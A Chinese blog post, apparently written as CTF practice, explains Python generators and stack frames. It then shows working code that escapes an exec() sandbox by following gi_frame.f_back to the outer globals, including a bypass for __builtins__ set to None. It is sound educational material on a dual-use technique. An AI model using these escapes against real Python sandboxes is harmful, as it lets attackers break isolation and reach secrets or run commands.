首页 > 编程语言 >初探python栈帧逃逸

初探python栈帧逃逸

时间:2024-10-25 15:44:30浏览次数:7  
标签:python frame 生成器 back yield globals 初探 栈帧 gi

前言

以前在一些大型比赛就遇到这种题,一直没时间去研究,现在康复训练下:)

生成器介绍

生成器(Generator)是Python中一种特殊的迭代器,它可以在迭代过程中动态生成值,而不需要一次性将所有值存储在内存中。

Simple Demo

这里定义一个生成器函数, 生成器使用yield语句来产生值,每次调用生成器的next()方法时,生成器会执行直到遇到下一个yield语句为止,然后返回yield语句后面的值,也就是a的值

def f():
    a = 1
    while True:
        yield a
        a+=1
f = f()
print(next(f))  # 1
print(next(f))  # 2

也可以遍历获取所有的自增值

def f():
    a = 1
    for i in range(1, 100):
        yield a
        a+=1
f = f()
for value in f:
    print(value)

生成器表达式

生成器表达式是一种在 Python 中创建生成器的紧凑形式。类似于列表推导式,生成器表达式允许你使用简洁的语法来定义生成器,而不必显式地编写一个函数。生成器表达式的语法与列表推导式类似,但是使用圆括号而不是方括号。生成器表达式会逐个生成值,而不是一次性生成整个序列。这有利于提高内存的利用率

f = (i+1 for i in range(100))
# 可以用next一步步获取值
print(next(f))
# 也可以遍历的形式获取全部值
for value in f:
    print(value)

生成器属性

gi_code: 生成器对应的code对象。
gi_frame: 生成器对应的frame(栈帧)对象。
gi_running: 生成器函数是否在执行。生成器函数在yield以后、执行yield的下一行代码前处于frozen状态,此时这个属性的值为0。
gi_yieldfrom:如果生成器正在从另一个生成器中 yield 值,则为该生成器对象的引用;否则为 None。
gi_frame.f_locals:一个字典,包含生成器当前帧的本地变量。

gi_frame使用

gi_frame 是一个与生成器(generator)和协程(coroutine)相关的属性。它指向生成器或协程当前执行的帧对象(frame object),如果这个生成器或协程正在执行的话。帧对象表示代码执行的当前上下文,包含了局部变量、执行的字节码指令等信息。

def my_generator():
    yield 1
    yield 2
    yield 3

gen = my_generator()

# 获取生成器的当前帧信息
frame = gen.gi_frame

# 输出生成器的当前帧信息
print("Local Variables:", frame.f_locals)
print("Global Variables:", frame.f_globals)
print("Code Object:", frame.f_code)
print("Instruction Pointer:", frame.f_lasti)

以上例子展示了如何获取生成器的帧信息

栈帧(frame)介绍

在 Python 中,栈帧(stack frame),也称为帧(frame),是用于执行代码的数据结构。每当 Python 解释器执行一个函数或方法时,都会创建一个新的栈帧,用于存储该函数或方法的局部变量、参数、返回地址以及其他执行相关的信息。这些栈帧会按照调用顺序被组织成一个栈,称为调用栈。(跟c/c++中的栈类似,懂点逆向知识应该很好理解)

栈帧包含了以下几个重要的属性:
f_locals: 一个字典,包含了函数或方法的局部变量。键是变量名。
f_globals: 一个字典,包含了函数或方法所在模块的全局变量。
f_code: 一个代码对象(code object),包含了函数或方法的字节码指令、常量、变量名等信息。
f_lasti: 整数,表示最后执行的字节码指令的索引。
f_back: 指向上一级调用栈帧的引用,用于构建调用栈。

利用栈帧(frame)逃逸沙箱

原理就是通过生成器的栈帧对象通过f_back(返回前一帧)从而逃逸出去获取globals符号表,例如:

key = "this is flag"
codes='''
def waff():
    def f():
        yield g.gi_frame.f_back
    g = f()  #生成器
    frame = next(g) #获取到生成器的栈帧对象
    b = frame.f_back.f_back.f_globals['key'] #返回并获取前一级栈帧的globals
    return b
b=waff()
'''
locals={}
code = compile(codes, "", "exec")
exec(code, locals, None)
print(locals["b"])  # this is flag

逃逸出来我们就可以调用沙箱外的方法来执行恶意命令了

globals中的__builtins__字段

__builtins__ 模块是 Python 解释器启动时自动加载的,其中包含了一系列内置函数、异常和其他内置对象。

当代码这么设计时:

key = "this is flag"
codes='''
def waff():
    def f():
        yield g.gi_frame.f_back
    g = f()  #生成器
    frame = next(g) #获取到生成器的栈帧对象
    b = frame.f_back.f_back.f_globals['key'] #返回并获取前一级栈帧的globals
    return b
b=waff()
'''
locals={"__builtins__": None}
code = compile(codes, "", "exec")
exec(code, locals, None)
print(locals["b"])

这里将沙箱中的__builtins__置为空,也就是说沙箱中不能调用内置方法了,那我们这段代码运行就会报错了(next方法不能使用),那么该如何代替next方法来拿到生成器的值,还记得上面说可以遍历的形式来获取生成器的值:

key = "this is flag"
codes='''
def waff():
    def f():
        yield g.gi_frame.f_back
    g = f()  #生成器
    frame = [i for i in g][0] #获取到生成器的栈帧对象
    b = frame.f_back.f_back.f_back.f_globals['key'] #返回并获取前一级栈帧的globals
    return b
b=waff()
'''
locals={"__builtins__": None}
code = compile(codes, "", "exec")
exec(code, locals, None)
print(locals["b"])

这样可以成功拿到key的值,不过这里需要注意的是在给b赋值时,多加了一个f_back,因为我们用这种列表推导式拿到生成器的值,它的code对象是不同的:

frame = next(g)
<frame at 0x00000235C9718440, file '', line 7, code waff>

frame = [i for i in g][0]
<frame at 0x000002708F2ED8C0, file '', line 9, code <listcomp>>

列表推到式拿到的生成器的code对象是listcomp,所以我们还得拿上一个栈帧,所以需要再f_back一下

一些简便写法

例如:

q = (q.gi_frame.f_back.f_back.f_globals for _ in [1])
g = [*q][0]
  • 第一行生成器创建时,并不会直接执行,只是存储在内存中。
  • 第二行对生成器解包,解包的同时会触发生成器调用,此时才开始执行q.gi_frame.f_back.f_back.f_globals。
  • exec调用时,创建一个新栈帧;生成器q被执行时,又创建一个新栈帧。所以当我们拿到q.gi_frame时,需要回溯两次才到达exec之外。
  • 再拿一个f_globals,就得到了沙箱外的的globals

标签:python,frame,生成器,back,yield,globals,初探,栈帧,gi
From: https://www.cnblogs.com/F12-blog/p/18502707

相关文章

  • 02-python 数据类型
    python容器类型数据str序列操作字符串属于序列类型,所谓序列,指的是一块可存放多个值的连续内存空间,这些值按一定顺序排列,可通过每个值所在位置的编号(称为索引、下标)访问它们。s="hellomoluo"Python还支持索引值是负数,此类索引是从右向左计数,换句话说,从最后一个元素开始计......
  • python ES连接服务器的方法P9
    连接Elasticsearch(ES)服务器是进行数据搜索和分析的常用操作。Elasticsearch是一个基于Lucene的搜索引擎,提供了RESTfulAPI来进行索引、搜索和管理数据。以下是一个详细的Python代码示例,展示如何连接到Elasticsearch服务器并执行一些基本操作。这个示例使用了官方的elasticsearch-......
  • Node.js和Python在服务器端编程上有什么不同
    Node.js和Python在服务器端编程上有以下不同:1.设计哲学不同;2.性能不同;3.库支持和框架不同;4.同步/异步处理不同;5.语法简洁性不同;6.用途和适用场景不同。具体来说,Node.js基于事件驱动和非阻塞I/O模型,优于高并发处理,而Python则以简洁易读著称,广泛应用于科学计算、人工智能等领域。......
  • springboot巡更系统--10192(免费领源码)可做计算机毕业设计JAVA、PHP、爬虫、APP、小程
    摘 要目前,在日常生活中随处可见社区巡更人员对特定的区域进行定期或者不定期的安全巡查管理。包括勤前训示、必到点签到、巡更路线等,各项勤务工作均由巡更员本人在执勤日志本中手工填写,且工作点分散,不利于统一监管,存在信息化手段不足,勤务信息获取、输入复杂,监管信息不能实时......
  • Python学习记录(2)
    NumPy数组规整1.转换数组形状importnumpyasnpa=np.arange(1,6+1)b=np.reshape(a,(2,3))print(a)print(b)flag=np.shares_memory(a,b)print(flag)#当其返回为Ture就是视图,共享存储区#为Flase就是副本结果:2.堆叠数组importnumpyasnpa=np.random.uniform(low......
  • 【最新原创毕设】基于JSP+SSM的民宿预约平台+79197(免费领源码)可做计算机毕业设计JAVA
    目录摘要1绪论1.1选题背景与意义1.2国内外研究现状2系统分析2.1.1技术可行性分析2.1.2 经济可行性分析2.1.3法律可行性分析2.2系统流程分析2.2.1添加信息流程2.2.2修改信息流程2.2.3删除信息流程2.3 系统功能分析2.3.1功能性分析2.3......
  • Python爬虫大详解,助你成为大佬
    基础知识Python基础:熟悉Python语言的基本语法,包括变量、数据类型(字符串、列表、字典等)、条件语句、循环、函数定义等1.变量在Python中,变量不需要声明类型,直接赋值即可。x=10#整数y=3.14#浮点数name="Alice"#字符串is_student=True#......
  • 鸿蒙开发初探
    目录引言一、鸿蒙操作系统概述1.微内核架构2.多设备协同二、鸿蒙开发环境搭建1.安装DevEcoStudio2.创建项目3.开发与调试三、鸿蒙应用的开发1.UI设计2.业务逻辑3.分布式能力四、鸿蒙的应用场景1.智能家居2.健康监测3.智能出行五、总结引言 ......
  • 【动态绘图】python 动态柱形图 动态折线图 bar_chart_race sjvisualizer
    本文主要介绍如何使用Python的bar_chart_race和sjvisualizer模块绘制动态柱形图和动态折线图。关于sjvisualizer包使用详细可见【动态绘图】上。一、实验环境1.1操作系统及Python环境本实验的所使用的操作系统为Windows1064位,Python版本为Python3.12.4,Python编译器......
  • 【Azure Function】Python Function部署到Azure后报错No module named '_cffi_backend
    问题描述本地使用Python编写的FunctionApp,发布到AzureFunction后,出现 _cffi_backendmodule无法找到的报错。ERROR:Error:Nomodulenamed'_cffi_backend',Cannotfindmodule.Pleasechecktherequirements.txtfileforthemissingmodule.Formoreinfo,plea......